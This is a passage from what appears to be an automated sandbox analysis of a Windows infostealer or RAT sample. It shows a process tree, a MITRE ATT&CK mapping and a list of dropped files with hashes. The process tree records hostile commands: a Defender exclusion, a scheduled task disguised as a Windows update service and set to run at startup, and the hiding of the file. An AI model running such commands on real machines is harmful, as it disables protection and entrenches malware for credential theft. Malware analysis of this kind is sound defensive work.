          powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          PID:5392
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsUpdateService_JIRWHFKN" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe" /sc onstart /rl highest /f"
        3⤵
        • Executes a command shell one-liner
        PID:5972
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsUpdateService_JIRWHFKN" /tr "C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe" /sc onstart /rl highest /f
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1704
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "attrib +h "C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe""
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        PID:5516
        • C:\Windows\system32\attrib.exe
          attrib +h "C:\Users\Admin\AppData\Local\Temp\2026-08-04_8c7718fbb5ee54cd38c47743834c4512_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
          4⤵
          • Views/modifies file attributes
          PID:5980

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        2
        T1059

        PowerShell

        1
        T1059.001

        Windows Command Shell

        1
        T1059.003

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        System Services

        2
        T1569

        Service Execution

        2
        T1569.002

        Persistence

        Boot or Logon Autostart Execution

        2
        T1547

        Registry Run Keys / Startup Folder

        2
        T1547.001

        Create or Modify System Process

        3
        T1543

        Windows Service

        3
        T1543.003

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Privilege Escalation

        Boot or Logon Autostart Execution

        2
        T1547

        Registry Run Keys / Startup Folder

        2
        T1547.001

        Create or Modify System Process

        3
        T1543

        Windows Service

        3
        T1543.003

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Defense Evasion

        Hide Artifacts

        2
        T1564

        Hidden Files and Directories

        2
        T1564.001

        Impair Defenses

        4
        T1562

        Disable or Modify Tools

        3
        T1562.001

        Modify Registry

        2
        T1112

        Credential Access

        Credentials from Password Stores

        1
        T1555

        Credentials from Web Browsers

        1
        T1555.003

        Unsecured Credentials

        1
        T1552

        Credentials In Files

        1
        T1552.001

        Discovery

        Query Registry

        1
        T1012

        System Network Configuration Discovery

        1
        T1016

        Internet Connection Discovery

        1
        T1016.001

        Lateral Movement

        Collection

        Data from Local System

        1
        T1005

        Command and Control

        Web Service

        1
        T1102

        Exfiltration

        Impact

        Service Stop

        2
        T1489

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        _raw_aes.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\Crypto\Cipher\_raw_aes.pyd
        • Size 34KB
        • SHA256 520b343e44b5633bbc4fdcecc705a7f2eb6e55d082a1f3e4723ada9d7e5ea97d
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _raw_aesni.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\Crypto\Cipher\_raw_aesni.pyd
        • Size 15KB
        • SHA256 3818873f50418cbecde58150e9bffff7372d2c2067fc0b96ffac9482dfddd603
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _cpuid_c.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\Crypto\Util\_cpuid_c.pyd
        • Size 10KB
        • SHA256 2af984819d9b1f95132520901b355eb85aa24d5efc6fc5ae9e77252ed03b7f4b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        VCRUNTIME140.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\VCRUNTIME140.dll
        • Size 96KB
        • SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        VCRUNTIME140_1.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\VCRUNTIME140_1.dll
        • Size 37KB
        • SHA256 1758085a61527b427c4380f0c976d29a8bee889f2ac480c356a3f166433bf70e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _asyncio.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_asyncio.pyd
        • Size 62KB
        • SHA256 aebc378db08617ea81a0a3a3bc044bcc7e6303e314630392dd51bab12f879bd9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _bz2.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_bz2.pyd
        • Size 81KB
        • SHA256 5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _ctypes.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_ctypes.pyd
        • Size 120KB
        • SHA256 e662d2b35bb48c5f3432bde79c0d20313238af800968ba0faa6ea7e7e5ef4535
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _decimal.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_decimal.pyd
        • Size 245KB
        • SHA256 d0df57988a74acd50b2d261e8b5f2c25da7b940ec2aafbee444c277552421e6e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _elementtree.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_elementtree.pyd
        • Size 123KB
        • SHA256 df71d64818cfecd61ad0122bea23b685d01bd241f1b06879a2999917818b0787
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _hashlib.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_hashlib.pyd
        • Size 62KB
        • SHA256 39bc615842a176db72d4e0558f3cdcae23ab0623ad132f815d21dcfbfd4b110e
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _lzma.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_lzma.pyd
        • Size 154KB
        • SHA256 613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _multiprocessing.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_multiprocessing.pyd
        • Size 32KB
        • SHA256 0ae3bf383ff998886f97576c55d6bf0a076c24395cf6fcd2265316e9a6e8c007
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _overlapped.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_overlapped.pyd
        • Size 48KB
        • SHA256 a083e83f609ed7a2fc18a95d44d8f91c9dc74842f33e19e91988e84db94c3b5b
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _queue.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_queue.pyd
        • Size 30KB
        • SHA256 2f71046891ba279b00b70eb031fe90b379dbe84559cf49ce5d1297ea6bf47a78
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _socket.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_socket.pyd
        • Size 76KB
        • SHA256 39715ef8d043354f0ab15f62878530a38518fb6192bc48da6a098498e8d35769
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _sqlite3.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_sqlite3.pyd
        • Size 115KB
        • SHA256 ddbed9d48b17c54fd3005f5a868dd63cb8f3efe2c22c1821cebb2fe72836e446
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _ssl.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_ssl.pyd
        • Size 155KB
        • SHA256 cb42e8598e3fa53eeebf63f2af1730b9ec64614bda276ab2cd1f1c196b3d7e32
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _tkinter.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_tkinter.pyd
        • Size 61KB
        • SHA256 6ff6cc788f1ab19de383810ddbd15ecd5fc8216faf5e1e406bbf9a608fbb9991
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _uuid.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\_uuid.pyd
        • Size 23KB
        • SHA256 f7f57807c15c21c5aa9818edf3993d0b94aef8af5808e1ad86a98637fc499d44
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        ada92cb5d92a588d1b93__mypyc.cp311-win_amd64.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\ada92cb5d92a588d1b93__mypyc.cp311-win_amd64.pyd
        • Size 216KB
        • SHA256 fc17eb621ecf2325e3c2d7501d3ee2c3848e3c7fec7027fda7c7fa1782874743
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        base_library.zip
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\base_library.zip
        • Size 1.4MB
        • SHA256 907b85270aad4362be687f7670dc6526b4ffe3ee210c34f85b9213cb9c2cc5a8
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        cd.cp311-win_amd64.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\charset_normalizer\cd.cp311-win_amd64.pyd
        • Size 10KB
        • SHA256 0fb7f617fc9961bd11ea78666d0252a726f6f5c4ba0e2d432f965d1efc320169
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libcrypto-1_1.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\libcrypto-1_1.dll
        • Size 3.3MB
        • SHA256 976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libffi-8.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\libffi-8.dll
        • Size 34KB
        • SHA256 128a583e821e52b595eb4b3dda17697d3ca456ee72945f7ecce48ededad0e93c
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        libssl-1_1.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\libssl-1_1.dll
        • Size 686KB
        • SHA256 2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        _psutil_windows.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\psutil\_psutil_windows.pyd
        • Size 69KB
        • SHA256 0035450801bd7d938e9e146c5ec28e619cb5a5f4a18cdc53ac7e9734c7f94f78
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        pyexpat.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\pyexpat.pyd
        • Size 193KB
        • SHA256 d97f3e27130c267e7d3287d1b159f65559e84ead9090d02a01b4c7dc663cd509
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        python3.DLL
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\python3.DLL
        • Size 64KB
        • SHA256 4055d1b9e553b78c244143ab6b48151604003b39a9bf54879dee9175455c1281
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        python311.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\python311.dll
        • Size 5.5MB
        • SHA256 a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        pywintypes311.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\pywin32_system32\pywintypes311.dll
        • Size 132KB
        • SHA256 dcc14a7ed85a324e357eab7db970d8db61387c8b5d6baa23283aabd8300c4e09
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        select.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\select.pyd
        • Size 28KB
        • SHA256 0046eb32f873cde62cf29af02687b1dd43154e9fd10e0aa3d8353d3debb38790
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        sqlite3.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\sqlite3.dll
        • Size 1.4MB
        • SHA256 8d58db3067899c997c2db13baf13cd4136f3072874b3ca1f375937e37e33d800
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        tcl86t.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\tcl86t.dll
        • Size 1.8MB
        • SHA256 a91781fe13548b89817462b00058a75fb0b607ec8ce99d265719ced573ade7b6
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        tk86t.dll
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\tk86t.dll
        • Size 1.5MB
        • SHA256 20139f4c327711baf18289584fa0c8112f7bb3ba55475bded21f3d107672ed94
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        unicodedata.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\unicodedata.pyd
        • Size 1.1MB
        • SHA256 ecf7836aa0d36b5880eb6f799ec402b1f2e999f78bfff6fb9a942d1d8d0b9baa
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        win32crypt.pyd
        • Path C:\Users\Admin\AppData\Local\Temp\_MEI58242\win32\win32crypt.pyd
        • Size 122KB
        • SHA256 57b37eae88743fe71226365880f8870b2082a8df9775c28019f58c25f75a05c9
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        __PSScriptPolicyTest_c1weuq0f.eyx.ps1
        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c1weuq0f.eyx.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        memory/2176-1089-0x00007FFE68740000-0x00007FFE690E4000-memory.dmp
        Download

        memory/2176-1098-0x00007FFE68740000-0x00007FFE690E4000-memory.dmp
        Download

        memory/2176-1087-0x00007FFE68740000-0x00007FFE690E4000-memory.dmp
        Download

        memory/2176-1090-0x00007FFE68740000-0x00007FFE690E4000-memory.dmp
        Download

        memory/2176-1093-0x0000025FBB630000-0x0000025FBB64E000-memory.dmp
        Download

        memory/2176-1094-0x0000025FBB650000-0x0000025FBB702000-memory.dmp
        Download

        memory/2176-1095-0x0000025FBB410000-0x0000025FBB41A000-memory.dmp
        Download

        memory/2176-1096-0x00007FFE68740000-0x00007FFE690E4000-memory.dmp
        Download

        memory/2176-1097-0x00007FFE68740000-0x00007FFE690E4000-memory.dmp
        Download

        memory/2176-1088-0x0000025FBB390000-0x0000025FBB3B2000-memory.dmp
        Download

        memory/2176-1099-0x00007FFE68740000-0x00007FFE690E4000-memory.dmp
        Download

        memory/2176-1100-0x00007FFE68740000-0x00007FFE690E4000-memory.dmp
        Download

        memory/2176-1101-0x00007FFE68740000-0x00007FFE690E4000-memory.dmp
        Download

        memory/2176-1102-0x00007FFE68740000-0x00007FFE690E4000-memory.dmp
        Download

        memory/2176-1104-0x00007FFE68740000-0x00007FFE690E4000-memory.dmp
        Download

        memory/2176-1084-0x00007FFE688CF000-0x00007FFE688D0000-memory.dmp
        Download

        memory/4152-2318-0x000002497F210000-0x000002497F2C2000-memory.dmp
        Download

        memory/4220-2237-0x000002781A830000-0x000002781A8E2000-memory.dmp
        Download